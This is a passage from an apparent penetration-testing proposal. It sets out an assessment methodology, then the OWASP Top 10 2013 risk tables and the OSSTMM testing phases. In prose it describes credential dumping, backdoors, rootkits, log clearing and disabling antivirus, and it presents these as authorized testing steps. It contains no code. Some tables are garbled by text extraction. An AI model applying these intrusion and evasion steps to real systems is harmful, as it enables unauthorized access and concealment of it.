Anything you can get hold of during this stage of testing is useful: company brochures, business cards,
leaflets, newspaper adverts, internal paperwork, and so on.
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Information gathering does not require that the assessor establishes contact with the target system.
Information is collected (mainly) from public sources on the Internet and organizations that hold public
information (e.g. tax agencies, libraries, etc.)

This section of the assessment is extremely important for the assessor. Assessments are generally
limited in time and resources. Therefore, it is critical to identify points that will be most likely vulnerable,
and to focus on them. Even the best tools are useless if not used appropriately and in the right place and
time. That’s why experienced assessors invest an important amount of time in information gathering.

2. Network Mapping

Following the first section, when all possible information about the target has been acquired, a more
technical approach is taken to ‘footprint’ the network and resources in question. Network specific
information from the previous section is taken and expanded upon to produce a probable network
topology for the target. Many tools and applications can be used in this stage to aid the discovery of
technical information about the hosts and networks involved in the test.

e Find live hosts

e Port and service scanning

e Perimeter network mapping (router, firewalls)

e Identifying critical services

e Operating System fingerprinting

e Identifying routes using Management Information Base (MIB)
e Service fingerprinting

To be effective, network mapping should be performed according to a plan. This plan will include
probable weak points and/or points that are most important to the assessed organization, and will take
into consideration all information obtained on the previous section.

Network mapping will help the assessor to fine tune the information previously acquired and to confirm
or dismiss some hypotheses regarding target systems (e.g. purpose, software/hardware brands,
configuration, architecture, relationship with other resources and relationship with business process).

3. Vulnerability Identification

Before starting this section, the assessor will have selected specific points to test and how to test them.
During vulnerability identification, the assessor will perform several activities to detect exploitable weak
points. These activities include:

o |dentify vulnerable services using service banners

e Perform vulnerability scan to search for known vulnerabilities.Information regarding known
vulnerabilities can be obtained from the vendors’ security announcements, or from public
databases such as SecurityFocus, CVE or CERT advisories.

e Perform false positive and false negative verification (e.g. by correlating vulnerabilities with each
other and with previously acquired information)
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e Enumerate discovered vulnerabilities
e Estimate probable impact (classify vulnerabilities found)
e Identify attack paths and scenarios for exploitation

4. Penetration

The assessor tries to gain unauthorized access by circumventing the security measures in place and tries
to reach as wide a level of access as possible. This process can be divided in the following steps:

e Find proof of concept code/tool
Find proof of concept code available in your own repository or from publicly available sources to
test for vulnerabilities. If the code is from your own trusted repository and thoroughly tested,
you can use it, otherwise test it in an isolated environment.

e Develop tools/scripts

Under some circumstances it will be necessary (and cost effective) for assessors to create their
own tools and scripts.

e Test proof of concept code/tool

= Customize proof of concept code/tool
= Test proof of concept code/tool in an isolated environment

e Use proof of concept code against target

The proof of concept code/tool is used against the target to gain as many points of unauthorized
access as possible.

e Verify or disprove the existence of vulnerabilities

Only by testing vulnerabilities will the assessors be able to confirm or disprove vulnerabilities
definitively.

e Document findings

This documentation will contain detail explanations of exploitation paths, assessed impact and
proof of the existence of vulnerability.

5. Gaining Access and Privilege Escalation
In any given situation a system can be enumerated further. Activities in this section will allow the

assessors to confirm and document probable intrusion and/or automated attacks propagation. This
allows for a better impact assessment for the target organization as a whole.
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e Gaining Access
=  Gain Least Privilege

Gaining least privilege access is possible by obtaining access to unpriviledged accounts
through several means, including:

v’ Discovery of username/password combinations (e.g. dictionary attacks, brute force
attacks)

v’ Discovery of blank password or default passwords in system accounts

v' Exploit vendor default settings (such as network configuration parameters,
passwords and others)

v’ Discovery of public services that allow for certain operations within the system (e.g.
writing/creating/reading files)

e Compromise

Reaching the target of the assessment (be it a specific system or a network) may require that
intermediate systems are compromised as well, in order to bypass their security measures that
may be potentially protecting access to the assessor’s final target.These possible intermediate
hops can be routers, firewalls, domain member servers or workstations, to name a few.

e Final Compromise on Target

This step is the final compromise. The final target has been breached and is under complete
control of the assessor. The final goal is to obtain administrative privileges over the system, in
the form of administrative accounts such as Administrator, root, SYSTEM, etc.

e Privilege Escalation

It is often the case that only low privileged access is obtained to a system. In that particular case
the mapping of local vulnerabilities has to be performed (as opposed to network based
vulnerabilities), proof of concept exploit obtained or developed, tested in an isolated
environment, and applied on the compromised system.

At this stage the goal is again to obtain administrative privileges.
The main barriers to face are the level of patching and hardening of the system; and system
integrity tools (including antivirus) that can detect and in some cases block the action of the
proof of concept exploits required.
6. Enumerating Further
e Obtain encrypted passwords for offline cracking (for example by dumping the SAM on Windows

systems, or copying /etc/passwd and /etc/shadow from a Linux system)
e Obtain password (plaintext or encrypted) by using sniffing or other techniques
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Sniff traffic and analyze it

Gather cookies and use them to exploit sessions and for password attacks
E-mail address gathering

Identifying routes and networks

e Mapping internal networks

e Perform steps 1 to 6 again with this system as starting point

7. Compromise Remote Users/Sites

A single hole is sufficient to expose an entire network, regardless of how secure the perimeter network
may be.Any system is as strong (in this case, as secure) as the weakest of its parts.

Communications between remote users/sites and enterprise networks may be provided with
authentication and encryption by using technologies such as VPN, to ensure that the data in transit over
the network cannot be faked nor eavesdroppedHowever, this does not guarantee that the
communication endpoints haven’t been compromised.

In such scenarios the assessor should try to compromise remote users, telecommuter and/or remote
sites of an enterprise. Those can give privileged access to internal network.

If you are successful in gaining access into remote sites, follow steps 1.1 to 1.7, otherwise move to the
next step.

8. Maintaining Access

Note: the use of cover channels, back door installation and deployment of rootkits is often not
performed as part of a penetration test, due to the risk involved if any of those remains open either
during or after the testing, and are detected by an attacker.

e Covert Channels

Covert channels can also be used to hide your presence on systems or on the network. Covert
channels can be either protocol-tunnels (like icmp-tunnel, http-tunnel etc...) of can (ab)use VPN
tunnels. Perform following steps to use covert channels:

= |dentify Covert Channel Which Can Be Used

= Select the Best Available Tool for the Covert Channel

= Methodology - Setup the Covert Channel in the Target Network

= Test the Covertness of Channel Using Common Detection Technique

e Backdoors
Backdoors are meant to be able to always get back to a certain system, even if the account you

used to hack the system is no longer available (for example, it has been terminated). Backdoors
can be created in several ways. Either by using root-kits (see further), by opening a listening port

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
organization without prior written approval from ARNEL C REYES.
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on the target system, by letting the target system connect to your server, by setting up a listener
for a certain packet sequence which in turn will open up a port.

e Root-kits

Root-kits will allow you to have even more power than the system administrator does of a
system. You will be able to control the remote system completely.

Often rootkits also allow file, process and/or network socket concealment, while still allowing
the individual in control of the rootkit to detect and use those resources.

9. Cover the Tracks

Note: it is normal practice during penetration tests to act as open as possible (except when requested
by the customer) and to produce detailed information and logs of all activities, so the section below is
mostly for reference purposes.

e Hide Files

Hiding files is important if the security assessor needs to hide activities which have been done so
far while and after compromising the system and to maintain back channel[s]. This is also
important to hide tools so that these don’t need to be uploaded to the target server each time.

e (Clear Logs

The importance of this stage is easily understood but usually understated. After an attacker has
successfully compromised a system, he will like to keep it without alerting the administrator, for
obvious reasons. The longer the attacker stays on a compromised system, the better the
chances that he will be able to achieve his goals further in the network.

During the process of compromising the system, some suspicious and/or erroneous activities are
logged. A skilled attacker knows that logs need to be doctored. He modifies them to cover his
tracks and delude his presence.

Note: This is only effective if no remote Syslog servers are in use. If these are, these remote
Syslog servers will have to get hacked & cleared as well.

Methodology
= Check History
= Edit Log files

e Defeat integrity checking

In cases where static integrity checking by systems such as Tripwire has been implemented, it is
very difficult to make any changes to the system without those being detected and reported.
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However, if the deployment of the system integrity tool was incorrectly done, for example by
leaving the file with the signatures of valid files and programs in the same server, it will be
possible to modify the system and regenerate the signatures.

Defeat Anti-virus

Nowadays, on most workstations and servers, there is Anti-Virus software protecting the system
against well known malicious software (like exploits, viri, worms, etc); the focus of this step in
penetration testing is to be able to disable or defeat AV software so that the assessor is able to
perform activities unhindered, and the possibility to reactivate the AV later.

In most centrally managed AV solutions, the AV software is restarted after a certain amount of
time when it is stopped by an assessor. The “grace period” allows the assessor to perform
several tasks in order that the AV software remains disabled for longer periods of time.

Possible things that assessors can do (most of these require Administrator level access):

= (Create a batch file so that the AV services are stopped every 30 sec
= Disable the AV services
= Block the central management port

Implement Root-kits

Root-kits, like POC exploits, should be customized to be able to completely cover the assessor’s
activities. In most cases if there is an AV patrolling, root-kits (usually on win32) will be detected
before installation. So, modifying the root-kits is required in most situations. It’s also important
to notice that some root-kits won’t work on different system setups. For example your root-kit
may work on win2k-SP3 but it can’t cover anything on SP4.

Audit (optional)

System audits can tell even more about potential security vulnerabilities than a single penetration test.
Therefore, system audits should be performed after completing a penetration test. The system audits
should check for running services, open ports, established connections, file system permissions, logging
and/or remote logging, auditing as per the detailed check list for a particular system.

PHASE — I1I: REPORTING, CLEAN UP & DESTROY ARTIFACTS

1. Reporting

Minimal reporting should consists of followings:

Verbal Reporting

This report is solely for the use of the client personnel. No part of it may be circulated, quoted, or reproduced for distribution outside the client
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In the course of penetration testing if a critical issue is identified, it should be reported
immediately to ensure that organization is aware of it. At this point criticality of issue should be
discussed and countermeasure to safeguard against this issue should be provided.

e Final Reporting

After the completion of all test cases defined in scope of work, a written report describing the
detailed results of the tests and reviews should be prepare with recommendations for
improvement. The report should follow a well documented structure. Things that should be
definitely in the report are the following sections:

=  Management Summary

= Scope of the project (and Out of Scope parts)

= Tools that have been used (including exploits)

= Dates & times of the actual tests on the systems

= Every single output of tests performed (excluding vulnerability scan reports which can be
included as attachments)

= A list of all identified vulnerabilities with included recommendations on how to solve the
issues found.

= A list of Action points (what recommendation to perform first, what is the recommended
solution)

e (Clean Up and Destroy Artifacts

All information that is created and/or stored on the tested systems should be removed from
these systems. If this is for some reason not possible from a remote system, all these files (with
their location) should be mentioned in the technical report so that the client technical staff will
be able to remove these after the report has been received.
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Appendix E: OWASP Top 10 Application Security Risks

Al - Injection

Injection flaws, such as SQL, OS, and LDAP injection occur when
untrusted data is sent to an interpreter as part of a command or
query. The attacker’s hostile data can trick the interpreter into
executing unintended commands or accessing data without proper
authorization.

A2 - Broken Authentication and
Session Management

Application functions related to authentication and session
management are often not implemented correctly, allowing
attackers to compromise passwords, keys, or session tokens, or to
exploit other implementation flaws to assume other users’
identities.

A3 - Cross-Site Scripting (XSS)

XSS flaws occur whenever an application takes untrusted data and
sends it to a web browser without proper validation or escaping.
XSS allows attackers to execute scripts in the victim’s browser which
can hijack user sessions, deface web sites, or redirect the user to
malicious sites.

A4 - Insecure Direct Object
References

A direct object reference occurs when a developer exposes a
reference to an internal implementation object, such as a file,
directory, or database key. Without an access control check or
other protection, attackers can manipulate these references to
access unauthorized data.

A5 - Security Misconfiguration

Good security requires having a secure configuration defined and
deployed for the application, frameworks, application server, web
server, database server, and platform. Secure settings should be
defined, implemented, and maintained, as defaults are often
insecure. Additionally, software should be kept up to date.

A6 — Sensitive Data Exposure

Many web applications do not properly protect sensitive data, such
as credit cards, tax IDs, and authentication credentials. Attackers
may steal or modify such weakly protected data to conduct credit
card fraud, identity theft, or other crimes. Sensitive data deserves
extra protection such as encryption at rest or in transit, as well as
special precautions when exchanged with the browser.

A7 - Missing Function Level
Access Control

Most web applications verify function level access rights before
making that functionality visible in the Ul. However, applications
need to perform the same access control checks on the server when
each function is accessed. If requests are not verified, attackers will
be able to forge requests in order to access functionality without
proper authorization.

A8 - Cross-Site Request Forgery
(CSRF)

A CSRF attack forces a logged-on victim’s browser to send a forged
HTTP request, including the victim’s session cookie and any other
automatically included authentication information, to a vulnerable
web application. This allows the attacker to force the victim’s
browser to generate requests the vulnerable application thinks are
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legitimate requests from the victim.

Components, such as libraries, frameworks, and other software
modules, almost always run with full privileges. If a vulnerable
component is exploited, such an attack can facilitate serious data
loss or server takeover. Applications using components with known
vulnerabilities may undermine application defenses and enable a
range of possible attacks and impacts.

A9 - Using Components with
Known Vulnerabilities

A10 - Unvalidated Redirects and
Forwards

Web applications frequently redirect and forward users to other
pages and websites, and use untrusted data to determine the
destination pages. Without proper validation, attackers can redirect
victims to phishing or malware sites, or use forwards to access
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unauthorized pages.

Al - Injection

R e

Consider anyone
who can send
untrusted data to
the system,
including external
users, internal
users, and
administrators.

[ TETRET ] Security EEEEEE N
Weakness

Attacker sends
simple text-basad
attacks that exploit
the syntax of the
targeted
interpreter. Almost
any source of data
can be an injection
vector, including
internal sources.

Injection flaws occur when an application
sends untrusted data to an interpreter.
Injection flaws are very prevalent,
particularly in legacy code. They are often
found in SQL, LDAP, Xpath, or NoSaQL
queries; 05 commands; XML parsers,
SMTP Headers, program arguments, etc.
Injection flaws are easy to discover when
examining code, but frequently hard to
discover via testing. Scanners and fuzzers

| . Technical g ..
Impacts

Injection can result
in data loss or
corruption, lack of
accountability, or
denial of access.
Injection can
sometimas lead to
complete host
takeover.

u Business
Impacts

Threat
Agents
A . Prevalence Detectability Application /
Application Specific COMMON AVERAGE Business Specific

Consider the
business value of
the affected data
and the platform
running the
interpreter. All data
could be stolen,
modified, or
deleted. Could your
reputation be

who may attempt
to steal accounts
from others. Also
consider insiders
wanting to disguise
their actions.

functions (e.g.,
exposed accounts,
passwords, session
IDs) to impersonate
users.

logout, password management, timeouts,
remember me, secret question, account
update, etc. Finding such flaws can
sometimes be difficult, as each
implementation is unique.

attacker can do
anything the victim
could do. Privileged
accounts are
frequently targeted.

can help attackers find injection flaws. harmed?
A2 - Broken Authentication and Session Management
% Attack | Security Technical Business
Threﬂt. T vectors pofroete Weakness Impacts Impacts
Agents
A . Exploitability Detectability Application /
Application Specific AVERAGE AVERAGE Business Specific

Consider Attacker uses leaks JDevelopers frequently build custom Such flaws may Consider the
anonymous or flaws in the authentication and session management Jallow some or even Qbusiness value of
external attackers, Jauthentication or schemes, but building these correctly is all accounts to be the affected data or
as well as users with | session hard. As a result, these custom schemes attacked. Once application

their own accounts, | management frequently have flaws in areas such as successful, the functions.

Also consider the
business impact of
public exposure of
the vulnerability.
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A3 - Cross-Site Scripting (XSS)

Attack | r

R e

.
Threat Vectors r/
Agents B
. . Exploitability
Application Specific AVERAGE
Consider anyone Attacker sends text-
who can send based attack scripts
untrusted data to that exploit the

the system,
including external
users, internal
users, and
administrators.

interpreter in the
browser. Almost
any source of data
can be an attack
vector, including
internal sources
such as data from
the database.

(EETRET ] \> Security EEEEEE
I~ Weakness

XS5 is the most prevalent web application
security flaw. XSS flaws occur when an
application includes user supplied data in
a page sent to the browser without
properly validating or escaping that
content. There are three known types of
XSS flaws: 1) Stored, 2) Reflected, and 3)

DOM based X55.

Detection of most 55 flaws is fairly easy
via testing or code analysis.

| . & Technical gas
Impacts

- Business
Impacts

Impact
MODERATE

Application /
Business Specific

Attackers can
execute scriptsina
victim's browser to
hijack user sessions,
deface web sites,
insert hostile
content, redirect
users, hijack the
user's browser
using malware, etc.

Consider the
businass value of
the affected system
and all the data it
processes.

Also consider the
business impact of
public exposure of
the vulnerability.

A4 - Insecure Direct Object References

R eeee

Threat

Attack |
= Vectors r/'

Application Specific

Attacker, who isan
authorized system
user, simply
changes a
parameter value
that directly refers
to a system object
to another object
the user isn't
authorized for. Is
access granted?

Consider the types
of users of your
system. Do any
users have only
partial access to
certain types of
system data?

(EETRET ] \> Security EEEEEER
I~ Weakness

Prevalence
COMMON

Applications frequently use the actual
name or key of an object when generating
web pages. Applications don't always
verify the user is authorized for the target
object. This results in an insecure direct
object reference flaw. Testers can easily
manipulate parameter values to detect
such flaws. Code analysis quickly shows
whether autherization is properly verified.

o Technical g aa
Impacts

Impact
MODERATE

- Business
Impacts

Application /
Business Specific

Such flaws can
compromise all the
data that can be
referenced by the
parameter. Unless
object references
are unpredictable,
it's easy foran
attacker to access
all available data of
that type.

Consider the
business value of
the exposed data.

Also consider the
business impact of
public exposure of
the vulnerability.

A5 — Security Misconfiguration

% Guunnh s Attack |

Threat Vectors r‘/
Agents .

Application Specific

Attacker accesses
default accounts,
unused pages,
unpatched flaws,
unprotected files
and directories, etc.
to gain

Consider
anonymous

external attackers
as well as users with
their own accounts
that may attempt to
compromise the
system. Also
consider insiders
wanting to disguise
their actions.

to or knowledge of
the system.

I Security
. /> Weakness

Prevalence
COMMON

unauthorized access

Security misconfiguration can happen at
any level of an application stack, including
the platform, web server, application
server, database, framework, and custom
code. Developers and system
administrators need to work together to
ensure that the entire stack is configured
properly. Automated scanners are useful
for detecting missing patches,
misconfigurations, use of default
accounts, unnecessary services, etc.

| . Technical g ..
Impacts

u Business
Impacts

Impact
MODERATE

Application /
Business Specific

Such flaws
frequently give
attackars
unauthorized access
to some system
data or
functionality.
Dccasionally, such
flaws resultin a
complete system
compromise.

The system could
be completely
compromised
without you
knowing it. All of
your data could be
stolen or modified
slowly over time.

Recovery costs
could be expensive.
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A6 — Sensitive Data Exposure

o b

Attack |

Consider who can
gain access to your
sensitive data and
any backups of that
data. This includes
the data at rest, in
transit, and even in
your customers'
browsers. Include
both external and

Attackers typically
don't break crypto
directly. They break
something else,
such as steal keys,
do man-in-the-
middle attacks, or
steal clear text data
off the server, whilz
in transit, or from

--Illl. \> SEC“I-HV EEEEE SN -Téchnic_;al- mm
Threat Vectors r/ " Weakness Impacts
Agents .
— . Exploitability Prevalence Detectability
Application Specific DIFFICULT UNCOMMON AVERAGE

The most commaon flaw is simply not
encrypting sensitive data. When crypto is
employed, weak key generation and
management, and weak algorithm usage
is comman, particularly weak password
hashing techniques. Browser weaknesses
are very common and easy to detect, but
hard to exploit on a large scale. External
attackers have difficulty detecting server
side flaws due to limited access and they

Failure frequently
compromises all
data that should
have been
protected. Typically,
this information
includes sensitive
data such as health
records, credentials,
personal data,

u Business
Impacts

Application /
Business Specific

Consider the
business value of
the lost data and
impact to your
reputation. What is
your legal liability if
this datais
exposed? Also
consider the
damage to your

internal threats. the user's browser. Jare also usually hard to exploit. credit cards, etc. reputation.
A7 — Missing Function Level Access Control
% Attack I~ M Security } [ Technical Business
Thl‘Eﬂt. N B Vectors r/ wan=® /> Weakness Impacts Eupaci=

Application Specific

Anyone with
network access can
send your
application a
request. Could
aNoNYMoUus Users
access private
functionality or
regular users a
privileged function?

Attacker, who isan
authorized system
user, simply
changes the URL or
a parameterto a
privileged function.
Is access granted?
Anonymous users
could access private
functions that
aren't protected.

Prevalence
COMMON

Detectability
AVERAGE

Impact
MODERATE

Application /
Business Specific

Such flaws allow
attackers to access
unauthorized
functionality.
Administrative
functions are key
targets for this type
of attack.

Applications do not always protect
application functions properly.
sometimes, function level protection is
managed via configuration, and the
system is misconfigured. Sometimes,
developers must include the proper code
checks, and they forget.

Detecting such flaws is easy. The hardest
part is identifying which pages (URLs) or
functions exist to attack.

Consider the
business value of
the exposed
functions and the
data they process,

Also consider the
impact to your
reputation if this
vulnerability
became public.

A8 - Cross-Site Request Forgery (CSRF)

R eeee

Threat
Agents

Application Specific

Attack |
[*®  Vectors r/'

Exploitability
AVERAGE

[ : —— . —
TTITIL Security snnmnnnnfenoy Technical gg.a
" Weakness Impacts

Prevalence
COMMON

Impact
MODERATE

Consider anyone
who can load
content into your
users” browsers,
and thus force them
to submit a request
to your website.
Any website or
other HTML feed
that your users
access could do this.

Attacker creates
forged HTTP
requests and tricks
a victim into
submitting them via
image tags, XS5, or
numerous other
techniques. If the
user is
authenticated, the
attack succeeds.

- Business
Impacts

Application [
Business Specific

Attackers can trick
victims into
performing any
state changing
operation the victim
is authorized to
perform, e.g.,
updating account
details, making
purchases, logout
and even login.

CSRF takes advantage of the fact that
most web apps allow attackers to predict
all the details of a particular action.

Because browsers send credentials like
session cookies automatically, attackers
can create malicious web pages which
generate forged requests that are
indistinguishable from legitimate ones.

Detection of CSRF flaws is fairly easy via
penetration testing or code analysis.

Consider the
business value of
the affected data or
application
functions. Imagine
not being sure if
users intended to
take these actions.

Consider the impact
to your reputation.
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A9 - Using Components with Known Vulnerabilities

Application Specific

Exploitability
AVERAGE

Some vulnerable
components (e.g.,
framework libraries)
can be identified
and exploited with
automated tools,
expanding the
threat agent pool
beyond targeted
attackers to include
chaotic actors.

Attacker identifies a
weak component
through scanning or
manual analysis. He
customizes the
exploit as needed
and executes the
attack. It gets more
difficult if the used
compeonent is deep

in the application.

(EETRET ] Security EEEEEE
Weakness

Detectability
DIFFICULT

| . & Technical gas
Impacts

Impact
MODERATE

- Business
Impacts

Application /
Business Specific

Virtually every application has these
issues because most development teams
don‘t focus on ensuring their
components/libraries are up to date. In
many cases, the developers don’t even
know all the components they are using,
never mind their versions. Component
dependencies make things even worse.

The full range of
weaknesses is
possible, including
injection, broken
access control, XSS,
etc. The impact
could range from
minimal to
complete host
takeover and data

compromise.

Consider what each
vulnerability might
mean for the
business controlled
by the affected
application. It could
be trivial orit could
mean complets
compromise.

A10 — Unvalidated Redirects and Forwards

R eeee

Attack | Security
Threat i Vectors ~® wannd Weakness
Agents
— . Exploitability Prevalence
Application Specific AVERAGE UNCOMMON

Consider anyone
who can trick your
users into
submitting a
request to your
website. Any
website or other
HTML feed that
YOur users use
could do this.

Attacker links to
unvalidated redirect
and tricks victims
into clicking it.
Victims are more
likely to click on it,
since the linkisto a
valid site. Attacker
targets unsafe
forward to bypass

security checks.

Applications frequently redirect users to
other pages, or use internal forwardsin a
similar manner. Sometimes the target
page is specified in an unvalidated
parameter, allowing attackers to choose
the destination page.

Detecting unchecked redirects is easy.
Look for redirects where you can set the
full URL. Unchecked forwards are harder,
because they target internal pages.

= Technical g ..
Impacts

u Business
Impacts

Impact
MODERATE

Application /
Business Specific

Such redirects may
attempt to install
malware or trick
victims into
disclosing
passwords or other
sensitive
information. Unsafe
forwards may allow
access control

bypass.

Consider the
business value of
retaining your
users’ trust.

What if they get
owned by malwara?

What if attackers
can access internal
only functions?

Top 10 Risk Factor Summary

The following table presents a summary of the 2013 Top 10 Application Security Risks, and the risk
factors we have assigned to each risk. These factors were determined based on the available statistics
and the experience of the OWASP Top 10 team. To understand these risks for a particular application or
organization, you must consider your own specific threat agents and business impacts. Even egregious
software weaknesses may not present a serious risk if there are no threat agents in a position to

perform the necessary attack or the business impact is negligible for the assets involved.
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RlSK % L TEL L R :/. EEEEEn 5 by SEELLE ssnsnnnoeug Technicalg ., Business
Threat Vectors | 5 Weakness Impacts Impacts

Exploitability Prevalence Detectability Impact

Al-Injection App Specific App Specific

A2-Authentication § App Specific App Specific

A3-XSS App Specific MODERATE App Specific

Ad-Insecure DOR § App Specific MODERATE App Specific

AS-Misconfig App Specific MODERATE App Specific

AB-5ens. Data App Specific DIFFICULT UNCOMMON App Specific

A7-Function Acc. | App Specific COMMON MODERATE App Specific

A8-CSRF App Specific COMMON MODERATE App Specific

A9-Components J App Specific DIFFICULT MODERATE App Specific

Al0-Redirects App Specific UNCOMMON MODERATE App Specific
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Appendix F: OSSTMM Methodology

The methodology flows from the initial
module to the completion of the final module.
The methodology allows for a separation
between data collection and verification
testing of and on that collected data. The flow
may also determine the precise points of
when to extract and when to insert this data.

VERIFICATION TESTING

our

In defining the methodology of testing, it is
important to not constrict the creativity of the
tester by introducing standards so formal and
unrelenting that the quality of the test suffers.
Additionally, it is important to leave tasks open to some interpretation where exact definition will cause
the methodology to suffer when new technology is introduced.

Each module has a relationship to the one before it and the one after it. Each section has interrelational
aspects to other modules and some inter-relate with all the other sections. Overall, security testing
begins with an input that is ultimately the addresses of the systems to be tested. Security testing ends
with the beginning of the analysis phase and the construction of the final report. This methodology does
not affect the form, size, style, or content of the final report nor does it specify how the data is to be
analyzed. That is left to the security tester or organization.

Sections are the whole security model divided into manageable, testable slices. Modules are the test
variables in sections. The module requires an input to perform the tasks of the module and the modules
of other sections. Tasks are the security tests to perform depending upon the input for the module. The
results of the tasks may be immediately analyzed to act as a processed result or left raw. Either way,
they are considered the output of the module. This output is often the input for a following module or in
certain cases such as newly discovered hosts, may be the input for a previous module.

The whole security model can be broken up into manageable sections for testing. Each Section can in
turn be viewed as a collection of test modules, with each module being broken up into sets of tasks.

The OSSTMM does not allow for a separation between what is considered active data collection and
verification through agitation; because, in both cases, interaction is required. Nor does it differentiate
between active and passive testing where active testing is the agitation to create an interaction with the
target and passive testing is the recording, aggregation, and analysis of emanations from the target. This
methodology requires both active and passive tests. Furthermore, the Analyst may not be able to
differentiate between data collected passively from emanations of the operations and that which is the
delayed or misdirected response to agitation. The introduction of any outside event, including the
passive kind, has the potential to change the nature of the target’s operations and lower the quality of
an uninfluenced test on operational security. However, this does not represent a failure of the Analyst
or the audit process, but simply an unavoidable evil of testing a system in a stochastic environment over
a linear time frame. Simply put, the Analyst often cannot “take back” the agitation once it has been set
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in motion and any corrections will cause additional and varied results that do not match the aim of the
original task. This is important because it will make it difficult to later compare results. It will also mean
that prior tests will influence later tests due to the “memory” of the impact of the test. This is very
noticeable in testing over the PHYSSEC channel.

It is important to note that when harmonizing the OSSTMM with other testing standards, it is important
not to constrict the flow of this methodology by introducing standards so formal and unrelenting that
the quality of the test suffers.

The Test Modules

To choose the appropriate test type, it is best to first understand how the modules are designed to
work. Depending on the thoroughness, business, time allotment, and requirements of the audit, the
Analyst may want to schedule the details of the audit by phase.

There are four phases in the execution of this methodology:

A. Induction Phase

B. Interaction Phase
C. Inquest Phase

D. Intervention Phase

Each phase lends a different depth to the audit, but no single phase is less important than another in
terms of Actual Security.

A. Induction Phase
Every trip begins with a direction. In the induction phase, the Analyst begins the audit with an

understanding of the audit requirements, the scope, and the constraints to the auditing of this scope.
Often, the test type is best determined after this phase.

Module Description Explanation

Al

Posture Review

The review of the culture, rules, norms,
regulations, legislafion, and policies
applicable fo the target.

Know the scope and what tests must
be done. Required if Phase C is fo be
properly conducted.

A2

Logistics

The measurement of interaction
constraints such as distance, speed,
and fallibility o determine margins of
accuracy within the results.

Know the limitations of the audit itself.
This will minimize emror and improve
efficiency.

A3

Active Detection Verification

The wverification of the practice and
breadth of interaction detection,
response, and response predictability.

Know the restrictions imposed on
interactive tests. This is reguired to
properly conduct Phases B and D.
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B. Interaction Phase

The core of the basic security test requires knowing the scope in relation to interactions with the targets
conveyed to interactions with assets. This phase will define the scope.

Module

B.4

Visibility Audit

Description

The determination of the targets fo be
tested within the scope. Visibility is
regarded as “presence"” and not
limited to human sight.

Explanation

Know what targets exist and how they
interact with the scope, If at all. A
dead or missing target s also an
unresponsive  target. However, an
unresponsive target is not necessarly a
missing target.

B.5

Access Verification

The measurement of the breadth and
depth of interactive access points
within the tfarget and required
authentication.

The access point is the main point of
any asset inferaction. Verfying an
access point essts s one part of
determining its purpose. Full
verification requires knowing all there is
to know about the access point.

B.6

Trust Verification

The determination of trust relationships
from and between the targets. A frust
relationship exists wherever the target
accepts interaction between targets in
the scope.

Trusts for new processes are often very
limited where clder processes have a
seemingly chacfic evolution to the
outsider. Knowing trust relationships
between targets will show the age or
value of the interaction.

B.7

Conftrol Verification

The measurement of the ijse and
effectiveness of the process-based
[Class B) loss controls: non-repudiation,
confidentiality, privacy. and integrity.
The confrol of alarm is verfied at the
end of the methodology.

Most processes are defined in
response fo a necessary inferaction
and some remain long after that
interaction stops or has changed.
Knowing what process confrols are in
place is a type of securnty archeclogy.

C. Inquest Phase
Much of security auditing is about the information that the Analyst uncovers. In this phase, the various
types of value or the detriment from misplaced and mismanaged information as an asset are brought to

light.
Module Description Explanation
The determination of the existence |Know the confrollers and their routines
and effectiveness of the record and [for the conifrols. Most processes will
maintenance of exsting actual|lhave a defined set of rules. however
security levels or diigence defined by |actual operations reflect any
.8 |Process Verification the posture review and | efficiency. laziness. or parancia which
indemnification controls. may redefine the rules. 5o it's not just
that the process is there but also how it
works.
The research of the steady state|This meodule explores the default
(mormal operation) of the targets as|condifions under which the torgets
they have been designed fo operate |operate regulary to understand the
Conﬁgl.n'o'lion Verification / under normal conditions to deftermine |infent. b;lsiness justification, arnd
underlying problems ouiside of fthe |reasoning for the targeis. Additionally.
C.9 |Training Verification application of security stress tests. many regulafions require information
regarding how something is planned
to work and this is not always evident
in the execution of that work.
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The measurement of the breadth and
depth in the use of illegal or unlicensed

Know the status of property ownership
nights.

C.10 |Property Validation intellectual property or applications
within the target.
A determination of the levels of|Know which privacy rights apply and
personally  idenfifiable information|te what extent the uncovered
C.l1ls egation Review defined by the posture review. personally identfifiable information can

be classified based on these

requirements.

C.12

Exposure Verification

The search for freely available
information which describes indirect
visibility of targets or assets within the
chosen channel of the scope.

The word on the sftreet has value.
Uncover information on targets and
assets from public sources including
that from the targets themselves.

C.13

Competitive Intelligence
Scouting

The search for freely available
information, directly or indirectly, which
could harm or adversely affect the
target owner through  extemnal,
competifive means.

There may be more value in the
information from  processes and
targets than the assets which they are
protecting. Uncover informatfion that
by itself or in aggregate can influence
competifive business decisions.

D. Intervention Phase

These tests are focused on the resources the targets require in the scope. Those resources can be
switched, changed, overloaded, or starved to cause penetration or disruption. This is often the final
phase of a security test to assure disruptions do not affect responses of less invasive tests and because
the information for making these tests may not be known until other phases have been carried out. The
final module, D.17, of Alert and Log Review, is required to verify prior tests which provided no
interactivity back to the Analyst. Most security tests that do not include this phase may still need to run
an end review from the perspective of the targets and assets to clarify any anomalies.

Module

Description

Explanation

D.14

Quarantine Verification

The determinafion and measurement
of effective use of guarantine for all
access to and within the target.

Determine the  effectiveness of
authentication and subjugation
controls in terms of black and white list
quarantines.

D.15

Privileges Audit

The mapping and measurement of the
impact of misuse of subjugation
controls, credentials, and privileges or
the unauthonzed  escalation of
privilege.

Determine the  effectiveness of
autheornzation on authentication,
indemnificafion, and  subjugation
confrols in ferms of depth and roles.

D.16

Survivability Validation /
Service Continuity

The determinafion and measurement
of the resilience of the target fo
excessive or adverse changes where
confinuity and reslience controls
would be impacted.

Determine the effecfiveness of
confinuity and resiience controls
through the wverfication of denial of
service and denial of interactivity.

D.17

Alert and Log Review /
End Survey

A review of audit activities performed
with the frue depth of those activities
as recorded by the target or from a
third-party as in the control of alarm.

Know what parts of the audit left a
usable and reliable trail.
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One Methodology

Putting all the modules together provides one methodology to know and work with. This is one
methodology which is applicable to any and all types of security tests. Whether the target be a particular
system, a location, a person, a process, or thousands of them, this one methodology will assure the
most thorough and efficient test possible.

Active
Pasture Logistics . Detection o isibility Audit
Review " Verification fe
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Appendix G: Security Consultant Profile

Arnel Reyes

Security Consultant
Application & Network
Security / Security
Solutions Architect

Arnel Carrido Reyes, or ACR, is a recognized security specialist with more
than 15 years of industry experience. ACR leads an army of Ethical Hackers
and IT Security Consultants.

e ACR has held various management positions. To date, he has served as
Penetration Testing Director, Chief Technology Officer (CTO), IT Security
